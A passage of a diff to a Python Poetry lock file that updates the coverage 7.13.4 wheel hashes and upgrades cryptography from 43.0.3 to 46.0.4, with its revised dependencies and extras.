"coverage-7.13.4-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:2c048ea43875fbf8b45d476ad79f179809c590ec7b79e2035c662e7afa3192e3"}, + {file = "coverage-7.13.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b7b38448866e83176e28086674fe7368ab8590e4610fb662b44e345b86d63ffa"}, + {file = "coverage-7.13.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:de6defc1c9badbf8b9e67ae90fd00519186d6ab64e5cc5f3d21359c2a9b2c1d3"}, + {file = "coverage-7.13.4-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:7eda778067ad7ffccd23ecffce537dface96212576a07924cbf0d8799d2ded5a"}, + {file = "coverage-7.13.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:e87f6c587c3f34356c3759f0420693e35e7eb0e2e41e4c011cb6ec6ecbbf1db7"}, + {file = "coverage-7.13.4-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:8248977c2e33aecb2ced42fef99f2d319e9904a36e55a8a68b69207fb7e43edc"}, + {file = "coverage-7.13.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:25381386e80ae727608e662474db537d4df1ecd42379b5ba33c84633a2b36d47"}, + {file = "coverage-7.13.4-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:ee756f00726693e5ba94d6df2bdfd64d4852d23b09bb0bc700e3b30e6f333985"}, + {file = "coverage-7.13.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fdfc1e28e7c7cdce44985b3043bc13bbd9c747520f94a4d7164af8260b3d91f0"}, + {file = "coverage-7.13.4-cp312-cp312-win32.whl", hash = "sha256:01d4cbc3c283a17fc1e42d614a119f7f438eabb593391283adca8dc86eff1246"}, + {file = "coverage-7.13.4-cp312-cp312-win_amd64.whl", hash = "sha256:9401ebc7ef522f01d01d45532c68c5ac40fb27113019b6b7d8b208f6e9baa126"}, + {file = "coverage-7.13.4-cp312-cp312-win_arm64.whl", hash = "sha256:b1ec7b6b6e93255f952e27ab58fbc68dcc468844b16ecbee881aeb29b6ab4d8d"}, + {file = "coverage-7.13.4-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:b66a2da594b6068b48b2692f043f35d4d3693fb639d5ea8b39533c2ad9ac3ab9"}, + {file = "coverage-7.13.4-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:3599eb3992d814d23b35c536c28df1a882caa950f8f507cef23d1cbf334995ac"}, + {file = "coverage-7.13.4-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:93550784d9281e374fb5a12bf1324cc8a963fd63b2d2f223503ef0fd4aa339ea"}, + {file = "coverage-7.13.4-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:b720ce6a88a2755f7c697c23268ddc47a571b88052e6b155224347389fdf6a3b"}, + {file = "coverage-7.13.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7b322db1284a2ed3aa28ffd8ebe3db91c929b7a333c0820abec3d838ef5b3525"}, + {file = "coverage-7.13.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f4594c67d8a7c89cf922d9df0438c7c7bb022ad506eddb0fdb2863359ff78242"}, + {file = "coverage-7.13.4-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:53d133df809c743eb8bce33b24bcababb371f4441340578cd406e084d94a6148"}, + {file = "coverage-7.13.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:76451d1978b95ba6507a039090ba076105c87cc76fc3efd5d35d72093964d49a"}, + {file = "coverage-7.13.4-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:7f57b33491e281e962021de110b451ab8a24182589be17e12a22c79047935e23"}, + {file = "coverage-7.13.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:1731dc33dc276dafc410a885cbf5992f1ff171393e48a21453b78727d090de80"}, + {file = "coverage-7.13.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:bd60d4fe2f6fa7dff9223ca1bbc9f05d2b6697bc5961072e5d3b952d46e1b1ea"}, + {file = "coverage-7.13.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9181a3ccead280b828fae232df12b16652702b49d41e99d657f46cc7b1f6ec7a"}, + {file = "coverage-7.13.4-cp313-cp313-win32.whl", hash = "sha256:f53d492307962561ac7de4cd1de3e363589b000ab69617c6156a16ba7237998d"}, + {file = "coverage-7.13.4-cp313-cp313-win_amd64.whl", hash = "sha256:e6f70dec1cc557e52df5306d051ef56003f74d56e9c4dd7ddb07e07ef32a84dd"}, + {file = "coverage-7.13.4-cp313-cp313-win_arm64.whl", hash = "sha256:fb07dc5da7e849e2ad31a5d74e9bece81f30ecf5a42909d0a695f8bd1874d6af"}, + {file = "coverage-7.13.4-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:40d74da8e6c4b9ac18b15331c4b5ebc35a17069410cad462ad4f40dcd2d50c0d"}, + {file = "coverage-7.13.4-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:4223b4230a376138939a9173f1bdd6521994f2aff8047fae100d6d94d50c5a12"}, + {file = "coverage-7.13.4-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:1d4be36a5114c499f9f1f9195e95ebf979460dbe2d88e6816ea202010ba1c34b"}, + {file = "coverage-7.13.4-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:200dea7d1e8095cc6e98cdabe3fd1d21ab17d3cee6dab00cadbb2fe35d9c15b9"}, + {file = "coverage-7.13.4-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b8eb931ee8e6d8243e253e5ed7336deea6904369d2fd8ae6e43f68abbf167092"}, + {file = "coverage-7.13.4-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:75eab1ebe4f2f64d9509b984f9314d4aa788540368218b858dad56dc8f3e5eb9"}, + {file = "coverage-7.13.4-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c35eb28c1d085eb7d8c9b3296567a1bebe03ce72962e932431b9a61f28facf26"}, + {file = "coverage-7.13.4-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:eb88b316ec33760714a4720feb2816a3a59180fd58c1985012054fa7aebee4c2"}, + {file = "coverage-7.13.4-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:7d41eead3cc673cbd38a4417deb7fd0b4ca26954ff7dc6078e33f6ff97bed940"}, + {file = "coverage-7.13.4-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:fb26a934946a6afe0e326aebe0730cdff393a8bc0bbb65a2f41e30feddca399c"}, + {file = "coverage-7.13.4-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:dae88bc0fc77edaa65c14be099bd57ee140cf507e6bfdeea7938457ab387efb0"}, + {file = "coverage-7.13.4-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:845f352911777a8e722bfce168958214951e07e47e5d5d9744109fa5fe77f79b"}, + {file = "coverage-7.13.4-cp313-cp313t-win32.whl", hash = "sha256:2fa8d5f8de70688a28240de9e139fa16b153cc3cbb01c5f16d88d6505ebdadf9"}, + {file = "coverage-7.13.4-cp313-cp313t-win_amd64.whl", hash = "sha256:9351229c8c8407645840edcc277f4a2d44814d1bc34a2128c11c2a031d45a5dd"}, + {file = "coverage-7.13.4-cp313-cp313t-win_arm64.whl", hash = "sha256:30b8d0512f2dc8c8747557e8fb459d6176a2c9e5731e2b74d311c03b78451997"}, + {file = "coverage-7.13.4-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:300deaee342f90696ed186e3a00c71b5b3d27bffe9e827677954f4ee56969601"}, + {file = "coverage-7.13.4-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:29e3220258d682b6226a9b0925bc563ed9a1ebcff3cad30f043eceea7eaf2689"}, + {file = "coverage-7.13.4-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:391ee8f19bef69210978363ca930f7328081c6a0152f1166c91f0b5fdd2a773c"}, + {file = "coverage-7.13.4-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:0dd7ab8278f0d58a0128ba2fca25824321f05d059c1441800e934ff2efa52129"}, + {file = "coverage-7.13.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:78cdf0d578b15148b009ccf18c686aa4f719d887e76e6b40c38ffb61d264a552"}, + {file = "coverage-7.13.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:48685fee12c2eb3b27c62f2658e7ea21e9c3239cba5a8a242801a0a3f6a8c62a"}, + {file = "coverage-7.13.4-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:4e83efc079eb39480e6346a15a1bcb3e9b04759c5202d157e1dd4303cd619356"}, + {file = "coverage-7.13.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ecae9737b72408d6a950f7e525f30aca12d4bd8dd95e37342e5beb3a2a8c4f71"}, + {file = "coverage-7.13.4-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:ae4578f8528569d3cf303fef2ea569c7f4c4059a38c8667ccef15c6e1f118aa5"}, + {file = "coverage-7.13.4-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:6fdef321fdfbb30a197efa02d48fcd9981f0d8ad2ae8903ac318adc653f5df98"}, + {file = "coverage-7.13.4-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:2b0f6ccf3dbe577170bebfce1318707d0e8c3650003cb4b3a9dd744575daa8b5"}, + {file = "coverage-7.13.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:75fcd519f2a5765db3f0e391eb3b7d150cce1a771bf4c9f861aeab86c767a3c0"}, + {file = "coverage-7.13.4-cp314-cp314-win32.whl", hash = "sha256:8e798c266c378da2bd819b0677df41ab46d78065fb2a399558f3f6cae78b2fbb"}, + {file = "coverage-7.13.4-cp314-cp314-win_amd64.whl", hash = "sha256:245e37f664d89861cf2329c9afa2c1fe9e6d4e1a09d872c947e70718aeeac505"}, + {file = "coverage-7.13.4-cp314-cp314-win_arm64.whl", hash = "sha256:ad27098a189e5838900ce4c2a99f2fe42a0bf0c2093c17c69b45a71579e8d4a2"}, + {file = "coverage-7.13.4-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:85480adfb35ffc32d40918aad81b89c69c9cc5661a9b8a81476d3e645321a056"}, + {file = "coverage-7.13.4-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:79be69cf7f3bf9b0deeeb062eab7ac7f36cd4cc4c4dd694bd28921ba4d8596cc"}, + {file = "coverage-7.13.4-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:caa421e2684e382c5d8973ac55e4f36bed6821a9bad5c953494de960c74595c9"}, + {file = "coverage-7.13.4-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:14375934243ee05f56c45393fe2ce81fe5cc503c07cee2bdf1725fb8bef3ffaf"}, + {file = "coverage-7.13.4-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:25a41c3104d08edb094d9db0d905ca54d0cd41c928bb6be3c4c799a54753af55"}, + {file = "coverage-7.13.4-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6f01afcff62bf9a08fb32b2c1d6e924236c0383c02c790732b6537269e466a72"}, + {file = "coverage-7.13.4-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:eb9078108fbf0bcdde37c3f4779303673c2fa1fe8f7956e68d447d0dd426d38a"}, + {file = "coverage-7.13.4-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:0e086334e8537ddd17e5f16a344777c1ab8194986ec533711cbe6c41cde841b6"}, + {file = "coverage-7.13.4-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:725d985c5ab621268b2edb8e50dfe57633dc69bda071abc470fed55a14935fd3"}, + {file = "coverage-7.13.4-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:3c06f0f1337c667b971ca2f975523347e63ec5e500b9aa5882d91931cd3ef750"}, + {file = "coverage-7.13.4-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:590c0ed4bf8e85f745e6b805b2e1c457b2e33d5255dd9729743165253bc9ad39"}, + {file = "coverage-7.13.4-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:eb30bf180de3f632cd043322dad5751390e5385108b2807368997d1a92a509d0"}, + {file = "coverage-7.13.4-cp314-cp314t-win32.whl", hash = "sha256:c4240e7eded42d131a2d2c4dec70374b781b043ddc79a9de4d55ca71f8e98aea"}, + {file = "coverage-7.13.4-cp314-cp314t-win_amd64.whl", hash = "sha256:4c7d3cc01e7350f2f0f6f7036caaf5673fb56b6998889ccfe9e1c1fe75a9c932"}, + {file = "coverage-7.13.4-cp314-cp314t-win_arm64.whl", hash = "sha256:23e3f687cf945070d1c90f85db66d11e3025665d8dafa831301a0e0038f3db9b"}, + {file = "coverage-7.13.4-py3-none-any.whl", hash = "sha256:1af1641e57cf7ba1bd67d677c9abdbcd6cc2ab7da3bca7fa1e2b7e50e65f2ad0"}, + {file = "coverage-7.13.4.tar.gz", hash = "sha256:e5c8f6ed1e61a8b2dcdf31eb0b9bbf0130750ca79c1c49eb898e2ad86f5ccc91"}, ] [package.dependencies] @@ -639,52 +675,75 @@ toml = ["tomli ; python_full_version <= \"3.11.0a6\""] [[package]] name = "cryptography" -version = "43.0.3" +version = "46.0.4" description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." optional = false -python-versions = ">=3.7" +python-versions = "!=3.9.0,!=3.9.1,>=3.8" groups = ["main"] files = [ - {file = "cryptography-43.0.3-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:bf7a1932ac4176486eab36a19ed4c0492da5d97123f1406cf15e41b05e787d2e"}, - {file = "cryptography-43.0.3-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:63efa177ff54aec6e1c0aefaa1a241232dcd37413835a9b674b6e3f0ae2bfd3e"}, - {file = "cryptography-43.0.3-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7e1ce50266f4f70bf41a2c6dc4358afadae90e2a1e5342d3c08883df1675374f"}, - {file = "cryptography-43.0.3-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:443c4a81bb10daed9a8f334365fe52542771f25aedaf889fd323a853ce7377d6"}, - {file = "cryptography-43.0.3-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:74f57f24754fe349223792466a709f8e0c093205ff0dca557af51072ff47ab18"}, - {file = "cryptography-43.0.3-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:9762ea51a8fc2a88b70cf2995e5675b38d93bf36bd67d91721c309df184f49bd"}, - {file = "cryptography-43.0.3-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:81ef806b1fef6b06dcebad789f988d3b37ccaee225695cf3e07648eee0fc6b73"}, - {file = "cryptography-43.0.3-cp37-abi3-win32.whl", hash = "sha256:cbeb489927bd7af4aa98d4b261af9a5bc025bd87f0e3547e11584be9e9427be2"}, - {file = "cryptography-43.0.3-cp37-abi3-win_amd64.whl", hash = "sha256:f46304d6f0c6ab8e52770addfa2fc41e6629495548862279641972b6215451cd"}, - {file = "cryptography-43.0.3-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:8ac43ae87929a5982f5948ceda07001ee5e83227fd69cf55b109144938d96984"}, - {file = "cryptography-43.0.3-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:846da004a5804145a5f441b8530b4bf35afbf7da70f82409f151695b127213d5"}, - {file = "cryptography-43.0.3-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0f996e7268af62598f2fc1204afa98a3b5712313a55c4c9d434aef49cadc91d4"}, - {file = "cryptography-43.0.3-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:f7b178f11ed3664fd0e995a47ed2b5ff0a12d893e41dd0494f406d1cf555cab7"}, - {file = "cryptography-43.0.3-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:c2e6fc39c4ab499049df3bdf567f768a723a5e8464816e8f009f121a5a9f4405"}, - {file = "cryptography-43.0.3-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:e1be4655c7ef6e1bbe6b5d0403526601323420bcf414598955968c9ef3eb7d16"}, - {file = "cryptography-43.0.3-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:df6b6c6d742395dd77a23ea3728ab62f98379eff8fb61be2744d4679ab678f73"}, - {file = "cryptography-43.0.3-cp39-abi3-win32.whl", hash = "sha256:d56e96520b1020449bbace2b78b603442e7e378a9b3bd68de65c782db1507995"}, - {file = "cryptography-43.0.3-cp39-abi3-win_amd64.whl", hash = "sha256:0c580952eef9bf68c4747774cde7ec1d85a6e61de97281f2dba83c7d2c806362"}, - {file = "cryptography-43.0.3-pp310-pypy310_pp73-macosx_10_9_x86_64.whl", hash = "sha256:d03b5621a135bffecad2c73e9f4deb1a0f977b9a8ffe6f8e002bf6c9d07b918c"}, - {file = "cryptography-43.0.3-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:a2a431ee15799d6db9fe80c82b055bae5a752bef645bba795e8e52687c69efe3"}, - {file = "cryptography-43.0.3-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:281c945d0e28c92ca5e5930664c1cefd85efe80e5c0d2bc58dd63383fda29f83"}, - {file = "cryptography-43.0.3-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:f18c716be16bc1fea8e95def49edf46b82fccaa88587a45f8dc0ff6ab5d8e0a7"}, - {file = "cryptography-43.0.3-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:4a02ded6cd4f0a5562a8887df8b3bd14e822a90f97ac5e544c162899bc467664"}, - {file = "cryptography-43.0.3-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:53a583b6637ab4c4e3591a15bc9db855b8d9dee9a669b550f311480acab6eb08"}, - {file = "cryptography-43.0.3-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:1ec0bcf7e17c0c5669d881b1cd38c4972fade441b27bda1051665faaa89bdcaa"}, - {file = "cryptography-43.0.3-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:2ce6fae5bdad59577b44e4dfed356944fbf1d925269114c28be377692643b4ff"}, - {file = "cryptography-43.0.3.tar.gz", hash = "sha256:315b9001266a492a6ff443b61238f956b214dbec9910a081ba5b6646a055a805"}, + {file = "cryptography-46.0.4-cp311-abi3-macosx_10_9_universal2.whl", hash = "sha256:281526e865ed4166009e235afadf3a4c4cba6056f99336a99efba65336fd5485"}, + {file = "cryptography-46.0.4-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:5f14fba5bf6f4390d7ff8f086c566454bff0411f6d8aa7af79c88b6f9267aecc"}, + {file = "cryptography-46.0.4-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:47bcd19517e6389132f76e2d5303ded6cf3f78903da2158a671be8de024f4cd0"}, + {file = "cryptography-46.0.4-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:01df4f50f314fbe7009f54046e908d1754f19d0c6d3070df1e6268c5a4af09fa"}, + {file = "cryptography-46.0.4-cp311-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:5aa3e463596b0087b3da0dbe2b2487e9fc261d25da85754e30e3b40637d61f81"}, + {file = "cryptography-46.0.4-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:0a9ad24359fee86f131836a9ac3bffc9329e956624a2d379b613f8f8abaf5255"}, + {file = "cryptography-46.0.4-cp311-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:dc1272e25ef673efe72f2096e92ae39dea1a1a450dd44918b15351f72c5a168e"}, + {file = "cryptography-46.0.4-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:de0f5f4ec8711ebc555f54735d4c673fc34b65c44283895f1a08c2b49d2fd99c"}, + {file = "cryptography-46.0.4-cp311-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:eeeb2e33d8dbcccc34d64651f00a98cb41b2dc69cef866771a5717e6734dfa32"}, + {file = "cryptography-46.0.4-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:3d425eacbc9aceafd2cb429e42f4e5d5633c6f873f5e567077043ef1b9bbf616"}, + {file = "cryptography-46.0.4-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:91627ebf691d1ea3976a031b61fb7bac1ccd745afa03602275dda443e11c8de0"}, + {file = "cryptography-46.0.4-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:2d08bc22efd73e8854b0b7caff402d735b354862f1145d7be3b9c0f740fef6a0"}, + {file = "cryptography-46.0.4-cp311-abi3-win32.whl", hash = "sha256:82a62483daf20b8134f6e92898da70d04d0ef9a75829d732ea1018678185f4f5"}, + {file = "cryptography-46.0.4-cp311-abi3-win_amd64.whl", hash = "sha256:6225d3ebe26a55dbc8ead5ad1265c0403552a63336499564675b29eb3184c09b"}, + {file = "cryptography-46.0.4-cp314-cp314t-macosx_10_9_universal2.whl", hash = "sha256:485e2b65d25ec0d901bca7bcae0f53b00133bf3173916d8e421f6fddde103908"}, + {file = "cryptography-46.0.4-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:078e5f06bd2fa5aea5a324f2a09f914b1484f1d0c2a4d6a8a28c74e72f65f2da"}, + {file = "cryptography-46.0.4-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:dce1e4f068f03008da7fa51cc7abc6ddc5e5de3e3d1550334eaf8393982a5829"}, + {file = "cryptography-46.0.4-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:2067461c80271f422ee7bdbe79b9b4be54a5162e90345f86a23445a0cf3fd8a2"}, + {file = "cryptography-46.0.4-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:c92010b58a51196a5f41c3795190203ac52edfd5dc3ff99149b4659eba9d2085"}, + {file = "cryptography-46.0.4-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:829c2b12bbc5428ab02d6b7f7e9bbfd53e33efd6672d21341f2177470171ad8b"}, + {file = "cryptography-46.0.4-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:62217ba44bf81b30abaeda1488686a04a702a261e26f87db51ff61d9d3510abd"}, + {file = "cryptography-46.0.4-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:9c2da296c8d3415b93e6053f5a728649a87a48ce084a9aaf51d6e46c87c7f2d2"}, + {file = "cryptography-46.0.4-cp314-cp314t-manylinux_2_34_ppc64le.whl", hash = "sha256:9b34d8ba84454641a6bf4d6762d15847ecbd85c1316c0a7984e6e4e9f748ec2e"}, + {file = "cryptography-46.0.4-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:df4a817fa7138dd0c96c8c8c20f04b8aaa1fac3bbf610913dcad8ea82e1bfd3f"}, + {file = "cryptography-46.0.4-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:b1de0ebf7587f28f9190b9cb526e901bf448c9e6a99655d2b07fff60e8212a82"}, + {file = "cryptography-46.0.4-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:9b4d17bc7bd7cdd98e3af40b441feaea4c68225e2eb2341026c84511ad246c0c"}, + {file = "cryptography-46.0.4-cp314-cp314t-win32.whl", hash = "sha256:c411f16275b0dea722d76544a61d6421e2cc829ad76eec79280dbdc9ddf50061"}, + {file = "cryptography-46.0.4-cp314-cp314t-win_amd64.whl", hash = "sha256:728fedc529efc1439eb6107b677f7f7558adab4553ef8669f0d02d42d7b959a7"}, + {file = "cryptography-46.0.4-cp38-abi3-macosx_10_9_universal2.whl", hash = "sha256:a9556ba711f7c23f77b151d5798f3ac44a13455cc68db7697a1096e6d0563cab"}, + {file = "cryptography-46.0.4-cp38-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:8bf75b0259e87fa70bddc0b8b4078b76e7fd512fd9afae6c1193bcf440a4dbef"}, + {file = "cryptography-46.0.4-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3c268a3490df22270955966ba236d6bc4a8f9b6e4ffddb78aac535f1a5ea471d"}, + {file = "cryptography-46.0.4-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:812815182f6a0c1d49a37893a303b44eaac827d7f0d582cecfc81b6427f22973"}, + {file = "cryptography-46.0.4-cp38-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:a90e43e3ef65e6dcf969dfe3bb40cbf5aef0d523dff95bfa24256be172a845f4"}, + {file = "cryptography-46.0.4-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:a05177ff6296644ef2876fce50518dffb5bcdf903c85250974fc8bc85d54c0af"}, + {file = "cryptography-46.0.4-cp38-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:daa392191f626d50f1b136c9b4cf08af69ca8279d110ea24f5c2700054d2e263"}, + {file = "cryptography-46.0.4-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:e07ea39c5b048e085f15923511d8121e4a9dc45cee4e3b970ca4f0d338f23095"}, + {file = "cryptography-46.0.4-cp38-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:d5a45ddc256f492ce42a4e35879c5e5528c09cd9ad12420828c972951d8e016b"}, + {file = "cryptography-46.0.4-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:6bb5157bf6a350e5b28aee23beb2d84ae6f5be390b2f8ee7ea179cda077e1019"}, + {file = "cryptography-46.0.4-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:dd5aba870a2c40f87a3af043e0dee7d9eb02d4aff88a797b48f2b43eff8c3ab4"}, + {file = "cryptography-46.0.4-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:93d8291da8d71024379ab2cb0b5c57915300155ad42e07f76bea6ad838d7e59b"}, + {file = "cryptography-46.0.4-cp38-abi3-win32.whl", hash = "sha256:0563655cb3c6d05fb2afe693340bc050c30f9f34e15763361cf08e94749401fc"}, + {file = "cryptography-46.0.4-cp38-abi3-win_amd64.whl", hash = "sha256:fa0900b9ef9c49728887d1576fd8d9e7e3ea872fa9b25ef9b64888adc434e976"}, + {file = "cryptography-46.0.4-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:766330cce7416c92b5e90c3bb71b1b79521760cdcfc3a6a1a182d4c9fab23d2b"}, + {file = "cryptography-46.0.4-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:c236a44acfb610e70f6b3e1c3ca20ff24459659231ef2f8c48e879e2d32b73da"}, + {file = "cryptography-46.0.4-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:8a15fb869670efa8f83cbffbc8753c1abf236883225aed74cd179b720ac9ec80"}, + {file = "cryptography-46.0.4-pp311-pypy311_pp73-manylinux_2_34_aarch64.whl", hash = "sha256:fdc3daab53b212472f1524d070735b2f0c214239df131903bae1d598016fa822"}, + {file = "cryptography-46.0.4-pp311-pypy311_pp73-manylinux_2_34_x86_64.whl", hash = "sha256:44cc0675b27cadb71bdbb96099cca1fa051cd11d2ade09e5cd3a2edb929ed947"}, + {file = "cryptography-46.0.4-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:be8c01a7d5a55f9a47d1888162b76c8f49d62b234d88f0ff91a9fbebe32ffbc3"}, + {file = "cryptography-46.0.4.tar.gz", hash = "sha256:bfd019f60f8abc2ed1b9be4ddc21cfef059c841d86d710bb69909a688cbb8f59"}, ] [package.dependencies] -cffi = {version = ">=1.12", markers = "platform_python_implementation != \"PyPy\""} +cffi = {version = ">=2.0.0", markers = "python_full_version >= \"3.9.0\" and platform_python_implementation != \"PyPy\""} +typing-extensions = {version = ">=4.13.2", markers = "python_full_version < \"3.11.0\""} [package.extras] -docs = ["sphinx (>=5.3.0)", "sphinx-rtd-theme (>=1.1.1)"] -docstest = ["pyenchant (>=1.6.11)", "readme-renderer", "sphinxcontrib-spelling (>=4.0.1)"] -nox = ["nox"] -pep8test = ["check-sdist", "click", "mypy", "ruff"] -sdist = ["build"] +docs = ["sphinx (>=5.3.0)", "sphinx-inline-tabs", "sphinx-rtd-theme (>=3.0.0)"] 